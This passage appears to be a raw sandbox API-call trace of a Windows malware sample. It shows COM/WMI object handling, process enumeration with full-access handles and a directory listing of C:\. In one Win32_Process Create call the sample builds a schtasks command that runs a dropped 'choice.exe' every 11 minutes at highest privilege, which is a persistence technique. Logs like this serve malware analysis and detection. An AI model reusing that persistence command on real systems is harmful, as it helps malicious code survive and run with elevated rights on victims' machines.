[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b1c0) returned 0x0 [0064.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0064.513] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0064.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0064.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0064.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3e480) returned 0x0 [0064.513] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.513] WbemDefPath:IUnknown:Release (This=0x1bf3e480) returned 0x3 [0064.513] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0064.513] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0064.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0064.513] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0064.513] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0064.513] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0064.513] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0064.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b1c0) returned 0x0 [0064.513] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0064.513] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0064.513] WbemDefPath:IWbemPath:SetText (This=0x1bf3b1c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0064.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0064.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0064.513] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0064.514] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b100) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b1c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b1c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0064.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b100, uIndex=0x0, pszName="root") returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b1c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b1c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0064.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b100, uIndex=0x1, pszName="cimv2") returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b1c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b1c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b100, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b100, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b100, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0064.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0064.515] IWbemServices:GetObject (in: This=0x1bf2a210, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf44630, ppCallResult=0x0) returned 0x0 [0064.520] IWbemClassObject:GetMethod (in: This=0x1bf44630, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf449a0, ppOutSignature=0x1b2fd9e0*=0x1bf44d10) returned 0x0 [0064.520] IWbemClassObject:SpawnInstance (in: This=0x1bf449a0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19ce0) returned 0x0 [0064.521] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94b38*=0, plFlavor=0x2a94b3c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94b38*=8, plFlavor=0x2a94b3c*=32) returned 0x0 [0064.521] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94b38*=8, plFlavor=0x2a94b3c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94b38*=8, plFlavor=0x2a94b3c*=32) returned 0x0 [0064.521] IWbemClassObject:Put (This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 11 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0064.521] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94bc8*=0, plFlavor=0x2a94bcc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94bc8*=13, plFlavor=0x2a94bcc*=32) returned 0x0 [0064.521] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94bc8*=13, plFlavor=0x2a94bcc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94bc8*=13, plFlavor=0x2a94bcc*=32) returned 0x0 [0064.521] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf43f50) returned 0x0 [0064.521] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0064.521] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0064.522] IUnknown:AddRef (This=0x1bf43f50) returned 0x3 [0064.522] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0064.522] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0064.522] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf43f58) returned 0x0 [0064.522] IMarshal:GetUnmarshalClass (in: This=0x1bf43f58, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0064.522] IUnknown:Release (This=0x1bf43f58) returned 0x3 [0064.522] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0064.522] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0064.522] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0064.522] IUnknown:Release (This=0x1bf43f50) returned 0x2 [0064.522] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0064.522] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0064.522] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0064.523] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0064.523] IUnknown:QueryInterface (in: This=0x1bf43f50, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0064.523] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0064.523] IUnknown:AddRef (This=0x1bf43f50) returned 0x3 [0064.523] IWbemClassObject:Put (This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf43f50, varVal2=0x0), Type=0) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ae00, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0064.523] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0064.524] IWbemServices:ExecMethod (in: This=0x1bf2a210, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19ce0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf19f90, ppCallResult=0x0) returned 0x0 [0064.665] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94ee0*=0, plFlavor=0x2a94ee4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf48, varVal2=0x0), pType=0x2a94ee0*=19, plFlavor=0x2a94ee4*=0) returned 0x0 [0064.665] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94ee0*=19, plFlavor=0x2a94ee4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf48, varVal2=0x0), pType=0x2a94ee0*=19, plFlavor=0x2a94ee4*=0) returned 0x0 [0064.666] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xd98) returned 0x0 [0064.671] EnumProcesses (in: lpidProcess=0x2a95930, cb=0x400, lpcbNeeded=0x1b2fdf38 | out: lpidProcess=0x2a95930, lpcbNeeded=0x1b2fdf38) returned 1 [0064.682] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x1b2fdb90, nSize=0x101, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0064.711] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbc0) returned 0x350 [0064.711] GetExitCodeProcess (in: hProcess=0x350, lpExitCode=0x29b03fc | out: lpExitCode=0x29b03fc*=0x103) returned 1 [0064.711] CoTaskMemAlloc (cb=0x404) returned 0x11f8f40 [0064.711] QueryFullProcessImageNameA (in: hProcess=0x350, dwFlags=0x0, lpExeName=0x11f8f40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Microsoft OneDrive\\fpos.exe", lpdwSize=0x1b2fe138) returned 1 [0064.712] CoTaskMemFree (pv=0x11f8f40) [0064.716] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x840) returned 0x358 [0064.716] GetExitCodeProcess (in: hProcess=0x358, lpExitCode=0x29ad17c | out: lpExitCode=0x29ad17c*=0x103) returned 1 [0064.716] CoTaskMemAlloc (cb=0x404) returned 0x11f8f40 [0064.716] QueryFullProcessImageNameA (in: hProcess=0x358, dwFlags=0x0, lpExeName=0x11f8f40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Uninstall Information\\minute_human_certain.exe", lpdwSize=0x1b2fe138) returned 1 [0064.857] CoTaskMemFree (pv=0x11f8f40) [0064.861] CoTaskMemAlloc (cb=0x20c) returned 0x1163740 [0064.861] GetSystemDirectoryW (in: lpBuffer=0x1163740, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.861] CoTaskMemFree (pv=0x1163740) [0064.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.861] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0064.862] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f61f0 [0064.862] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0064.863] 